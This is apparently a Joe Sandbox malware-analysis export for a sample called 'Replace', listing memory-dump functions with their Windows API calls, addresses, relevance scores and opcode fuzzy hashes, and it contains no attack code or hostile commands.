Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CallbackDispatcherKillTimerUser
String ID:
API String ID: 45433635-0
Opcode ID: cc73563847068091c4a75776a4e7d87cc6ba445419c27b1d3b58a9d60e1dbc2b
Instruction ID: eec3f413198755fd2a0896147b62d93da64245a4d46aea56f390c2abb9c40390
Opcode Fuzzy Hash: cc73563847068091c4a75776a4e7d87cc6ba445419c27b1d3b58a9d60e1dbc2b
Instruction Fuzzy Hash: A1F0F831148741EBDB729B10C849BABBFE5BF80705F148C9EF096159A0CBB1A894DB55

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2AA0 Relevance: 3.0, APIs: 2, Instructions: 24COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNELBASE(?,?,-00000086,000001E4), ref: 00BB2AD3

Part of subcall function 00BB1BB2: AreFileApisANSI.KERNEL32(?,00000010,00BB2F3E,?,?,00000001), ref: 00BB1BD0

SetCurrentDirectoryA.KERNEL32(00000000,74DF2EE0,?,-00000086,000001E4), ref: 00BB2ABC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CurrentDirectory$ApisFile
String ID:
API String ID: 4088297939-0
Opcode ID: 87d0132fecec9dc36049409627312a82b99909eca39b7c8c738370f613457ebe
Instruction ID: 14789e248d674508a80e801edcaedaf997e2ed745d07e4eab5a09b46329242ad
Opcode Fuzzy Hash: 87d0132fecec9dc36049409627312a82b99909eca39b7c8c738370f613457ebe
Instruction Fuzzy Hash: E1E02631D01118ABCF212B70A826FDEB7E4EF00350F008AE9EC01A71A0FF70884487C0

Uniqueness

Uniqueness Score: -1.00%

Function 00BBCA67 Relevance: 2.6, APIs: 2, Instructions: 65COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 00BBCA76
LeaveCriticalSection.KERNEL32(?), ref: 00BBCAFA

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: c429dc0628a2d1b9756e11e216336507c4a1d925e2d95bdad72725b494a52376
Instruction ID: fb77a6504b9a6ccc0529f13efaa232a0a18a6edd508b3fdcd052302ca00ba69e
Opcode Fuzzy Hash: c429dc0628a2d1b9756e11e216336507c4a1d925e2d95bdad72725b494a52376
Instruction Fuzzy Hash: 0821ACB5200706EF8308CF5AE984C56FBF9FF887147018A9AE95897721D771F950CAA2

Uniqueness

Uniqueness Score: -1.00%

Function 00BBB085 Relevance: 1.9, APIs: 1, Instructions: 403COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BBB4FC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: b02db1719b207eb0ef4ebbdd98b5543887c51553c1033f43e4611cb8984def6c
Instruction ID: 88afa165b8c268f18eeda237064d929c68bd9eb9dcd07821e2fa0782cf8662e1
Opcode Fuzzy Hash: b02db1719b207eb0ef4ebbdd98b5543887c51553c1033f43e4611cb8984def6c
Instruction Fuzzy Hash: 67F15B71A006469FDB25DF68C495FEDBBE1FF18300F1484ADE459AB252DBB0E980CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00BBE1C4 Relevance: 1.6, APIs: 1, Instructions: 64COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BBE251

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: baf3d1460dd84fc867addffeb2ba72eb22ce7e5c58f28a44e428ade3a829b297
Instruction ID: 43e910421972de768e21e7b9836365b942a880bc0886ac2fe0f84ab36ae3cf58
Opcode Fuzzy Hash: baf3d1460dd84fc867addffeb2ba72eb22ce7e5c58f28a44e428ade3a829b297
Instruction Fuzzy Hash: F21104343042015BDB14EF18D881BFAB7D9EF89304F1000E9F810AB353DAB5ED098761

Uniqueness

Uniqueness Score: -1.00%

Function 00BD22DB Relevance: 1.6, APIs: 1, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 065c5b744396188ade9116cf1ccae4f6a74079a42555283a4b6ee2cb74ed6c1f
Instruction ID: f6254bb8f2c760f3ce70b8aafdbdc9f08756846da78642f16e1dcbf30fbb02be
Opcode Fuzzy Hash: 065c5b744396188ade9116cf1ccae4f6a74079a42555283a4b6ee2cb74ed6c1f
Instruction Fuzzy Hash: F701F5337002A19F9B168F6AECC0A5A77D6EBE037072441A2FA05CB294FE34DC019798

Uniqueness

Uniqueness Score: -1.00%

Function 00BC5E3B Relevance: 1.6, APIs: 1, Instructions: 57COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 00BC5E76

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: DestroyWindow
String ID:
API String ID: 3375834691-0
Opcode ID: 72873584cd45096128b98fee1899c26a713bffe7af4dbbab36b864695df3a352
Instruction ID: 44d158d893812b18aa08ba62098c1414cbe286e20d7b265071554f65040f23a7
Opcode Fuzzy Hash: 72873584cd45096128b98fee1899c26a713bffe7af4dbbab36b864695df3a352
Instruction Fuzzy Hash: CD114972500B41DFCB249F25C816F9AB7F4FF04714F108DADE592A6AA0DB76A980CF40

Uniqueness

Uniqueness Score: -1.00%

Function 00BB7CF6 Relevance: 1.5, APIs: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(?,00000402,00000000,00000000), ref: 00BB7D52

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 1900a4445d2fbef1ceb60fb9404ed4e1e3ec2f9873d9dcebde656e2a6699e586
Instruction ID: 92b018fe92c83217165b39db40d8d9e36442efc93d6e90c7ba16981dc33e2ee8
Opcode Fuzzy Hash: 1900a4445d2fbef1ceb60fb9404ed4e1e3ec2f9873d9dcebde656e2a6699e586
Instruction Fuzzy Hash: E10188B12447045BC7349E15D8C0A7BF3E6FFD4791B154EBEE48697A50DEF1B80086A4

Uniqueness

Uniqueness Score: -1.00%

Function 00BB46C1 Relevance: 1.5, APIs: 1, Instructions: 37timeCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB227E: CreateFileA.KERNEL32(00000000,?,?,00000000,00000000,?,00000000), ref: 00BB22B6

SetFileTime.KERNEL32(00000018,00000000,000000FF,00000000,?,80000100,00000001,00000003,00000080,00000000,00000000,00000000,00000000,?,00BB5DD6,?), ref: 00BB4712

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: File$CreateTime
String ID:
API String ID: 1043708186-0
Opcode ID: 7c1df8356aac98789f6919349203b07875705d016c69b9463f09f8a468595386
Instruction ID: ef4179cf3a54444371026744476ee5aaceac630daebfef62e176edf5cc153313
Opcode Fuzzy Hash: 7c1df8356aac98789f6919349203b07875705d016c69b9463f09f8a468595386
Instruction Fuzzy Hash: 71F0C270645344BAFB254A148C06BE67FD89B02764F20428DE895AB1E1C7A1AD45C664

Uniqueness

Uniqueness Score: -1.00%

Function 00BD277D Relevance: 1.5, APIs: 1, Instructions: 32memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,-00000086,-00000126,?,00BCC0D5,-00000086,00000022,00BB16C5,00000008,74DF2EE0,00BCB6C9), ref: 00BD27AF

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 04aa527bb89b591af87ffef164e993cc6e9b83b3531e1413b69254fc42b03934
Instruction ID: 2c95ffbb1405e3a2295de25beaa6ba7a7810b17b65ba85961c9402dd63004f46
Opcode Fuzzy Hash: 04aa527bb89b591af87ffef164e993cc6e9b83b3531e1413b69254fc42b03934
Instruction Fuzzy Hash: 58E0ED351002A0A6EA3237699C84F6BFAC8EFA17B0F1501A3EC1996390FF20CC0085E0

Uniqueness

Uniqueness Score: -1.00%

Function 00BC5CF2 Relevance: 1.5, APIs: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00BB45A0: WaitForSingleObject.KERNEL32(?,000000FF,00BC5E12,?,?,?,?,-00000086,000001E4), ref: 00BB45A3
Part of subcall function 00BB45A0: GetLastError.KERNEL32(?,?,?,?,-00000086,000001E4), ref: 00BB45AE

PostMessageA.USER32(00000001,00008001,00000000,00000000), ref: 00BC5D31

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorLastMessageObjectPostSingleWait
String ID:
API String ID: 1021788411-0
Opcode ID: 5825cfd024a86de27af2ab65cfdb0423c579b920b4ffa5004a3880115b8f18e2
Instruction ID: ad866e7c87fb7dbc99cc7fad360a8668e6282790a60f557594de24d22c45b4db
Opcode Fuzzy Hash: 5825cfd024a86de27af2ab65cfdb0423c579b920b4ffa5004a3880115b8f18e2
Instruction Fuzzy Hash: 47F09A71644B80AFD7218F14CD81F56BBE8FB05B10F5049AAE55397AE1DBB5B800CB44

Uniqueness

Uniqueness Score: -1.00%

Function 00BB4A00 Relevance: 1.5, APIs: 1, Instructions: 26COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BB4A07

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 8c4825ab59999d709ce07897553f8addc3e71efce56670f09ff391f031d83807
Instruction ID: 69346fdda534a9906b164a8ee34b79ee366e076f37bce8f48d8242f2d1e48f9f
Opcode Fuzzy Hash: 8c4825ab59999d709ce07897553f8addc3e71efce56670f09ff391f031d83807
Instruction Fuzzy Hash: 75F0F839201216DBC714EF64C048A69B7A0FF45716B258499A8859B342DB32DD42CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2434 Relevance: 1.5, APIs: 1, Instructions: 21fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00BB2454

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: cea39f27d83d23e0ee2b390aa92c069351bd0d2260852b326325c05a677b1e1c
Instruction ID: 0f43b45add176b4b11a4daba7528f9c442ccfe38af870225bbe4ff6560d54b6a
Opcode Fuzzy Hash: cea39f27d83d23e0ee2b390aa92c069351bd0d2260852b326325c05a677b1e1c
Instruction Fuzzy Hash: 32E01232200208FFDB01CFA4C801F8EB7BAEF08314F108069E919D7260D738EA54EB56

Uniqueness

Uniqueness Score: -1.00%

Function 00BB2407 Relevance: 1.5, APIs: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00BB241D

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: FileRead
String ID:
API String ID: 2738559852-0
Opcode ID: 534f78cc75e69905aa590f5f72ea06b4d96943c08d0648b65e250b9e1585cff8
Instruction ID: 1dd379f2e32b6af84162afdbf950c5fab5bd6f84fe5e81279cbb2d0ae761b633
Opcode Fuzzy Hash: 534f78cc75e69905aa590f5f72ea06b4d96943c08d0648b65e250b9e1585cff8
Instruction Fuzzy Hash: E4E0E236200208FFDB01CF90CC02FDEBBBAFB09314F218058E91596260D775AA24EB55

Uniqueness

Uniqueness Score: -1.00%

Function 00BBB4F5 Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BBB4FC

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: H_prolog3_catch
String ID:
API String ID: 3886170330-0
Opcode ID: 8b3d29d4533e9c926e08be150d24285fc8a0de2419afc7145811fc654fa0281c
Instruction ID: fb3095ccf7d05ae25437ac9c9807eeb285e13567ebc730b9562d9c6f56d0e7a8
Opcode Fuzzy Hash: 8b3d29d4533e9c926e08be150d24285fc8a0de2419afc7145811fc654fa0281c
Instruction Fuzzy Hash: 39E02BB1204140ABD736B224C46ABFCE9E05B10300F5844CBB1082F381D7F5D985C71B

Uniqueness

Uniqueness Score: -1.00%

Function 00BB22EF Relevance: 1.5, APIs: 1, Instructions: 15COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(-0000002A,-0000002A,00BB228C), ref: 00BB22F9

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: f84517cc31e521667d0a4bf60009f634975dfdeb7ac92b2c38b1cc398e03fff6
Instruction ID: 2d0e4ebd988250c8ebef7cf245191b0074588fa8b05be85111add75c3e209b1d
Opcode Fuzzy Hash: f84517cc31e521667d0a4bf60009f634975dfdeb7ac92b2c38b1cc398e03fff6
Instruction Fuzzy Hash: D3D0C9310101228FCA681F28B8446D277D4AA12335321479EE0F5820E4E7A588839A50

Uniqueness

Uniqueness Score: -1.00%

Function 00BC610B Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00BC6112

Part of subcall function 00BC5CF2: PostMessageA.USER32(00000001,00008001,00000000,00000000), ref: 00BC5D31

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: H_prolog3_catchMessagePost
String ID:
API String ID: 678948607-0
Opcode ID: 43536f0b1d808c2e79a8954b5bdf31119e4bc5b18815d1e7fe8075be4bd75dde
Instruction ID: 86267dda5de0709dbe5587e8a465e177b8f2837531550133defb4e2b98df03ff
Opcode Fuzzy Hash: 43536f0b1d808c2e79a8954b5bdf31119e4bc5b18815d1e7fe8075be4bd75dde
Instruction Fuzzy Hash: 6BD06231911105DADB44FB94C94779DB6F09F00705F6041DDA104BB342D6755B858757

Uniqueness

Uniqueness Score: -1.00%

Function 00BB457F Relevance: 1.5, APIs: 1, Instructions: 14COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00BC5CD2,?,00BC5CA6,?,00000012,00BE4B54,00000008,00BC6411,00000004,00BC622B,?,?,000000A4,00BCB95B), ref: 00BB4589

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 13fd0427e47eaf05561a8d4bd3743777452fe5ce60f8ea813195365893b5f943
Instruction ID: 45391a63e1f3e2bdaf4b2cea1077c3811e3243132a3dcccb7dc2b0ce263a66df
Opcode Fuzzy Hash: 13fd0427e47eaf05561a8d4bd3743777452fe5ce60f8ea813195365893b5f943
Instruction Fuzzy Hash: F6D0C931125621CBE7715E24A8147E6B7E4BB24311F1144AE908481051FBF08880CA40

Uniqueness

Uniqueness Score: -1.00%

Function 00BD0548 Relevance: 1.5, APIs: 1, Instructions: 11COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00BD055B

Part of subcall function 00BD1BFB: RtlFreeHeap.NTDLL(00000000,00000000,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?), ref: 00BD1C11
Part of subcall function 00BD1BFB: GetLastError.KERNEL32(?,?,00BD42C9,?,00000000,?,00000001,?,00BD42F0,?,00000007,?,?,00BD4716,?,?), ref: 00BD1C23

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorFreeHeapLast_free
String ID:
API String ID: 1353095263-0
Opcode ID: ade91ee8a1e1f879fcfac3a0c78c7d8d97f93fa3371e5ca2b20ace8538ad6864
Instruction ID: 5c10d4e8ffc85ecefca269e01448c9cd1485f94bd321d77ddf82ea532ad4b5aa
Opcode Fuzzy Hash: ade91ee8a1e1f879fcfac3a0c78c7d8d97f93fa3371e5ca2b20ace8538ad6864
Instruction Fuzzy Hash: C7C08C31000208BBCB009B49C906E4EBBB8DB80364F200085F40017240EAB2EE009A80

Uniqueness

Uniqueness Score: -1.00%

Function 00BB26EF Relevance: 1.4, APIs: 1, Instructions: 124COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: cf1435e2a1d495416b583d1f730df2263d8df0746ad804ac12c604d50612707e
Instruction ID: b5f974c8f7f96da14920e43ffe4ad66fa9673b0a54bdcd6d3458aeda01a34214
Opcode Fuzzy Hash: cf1435e2a1d495416b583d1f730df2263d8df0746ad804ac12c604d50612707e
Instruction Fuzzy Hash: 3A41BE319002258BCF14EBA5C8915FEB3F4EF14314B5448EAD862B7251EFB49D0287A5

Uniqueness

Uniqueness Score: -1.00%

Function 00BB6EA6 Relevance: 1.3, APIs: 1, Instructions: 46COMMON

Download Yara Rule

APIs

Part of subcall function 00BB2407: ReadFile.KERNELBASE(?,?,?,00000000,00000000), ref: 00BB241D

GetLastError.KERNEL32 ref: 00BB6EDF

Memory Dump Source

Source File: 00000000.00000002.1797746212.0000000000BB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00BB0000, based on PE: true

Associated: 00000000.00000002.1797731979.0000000000BB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797770301.0000000000BDB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797785608.0000000000BE6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1797800296.0000000000BEA000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_bb0000_Replace.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 956113a2bbaa2f49170f36f0125f84257340da110b991d59c3fe7b27bbfb3713
Instruction ID: 085384d3bc5fc81303983863318cf0ae223f32b40c6425e252e0719a622cde4c
Opcode Fuzzy Hash: 956113a2bbaa2f49170f36f0125f84257340da110b991d59c3fe7b27bbfb3713
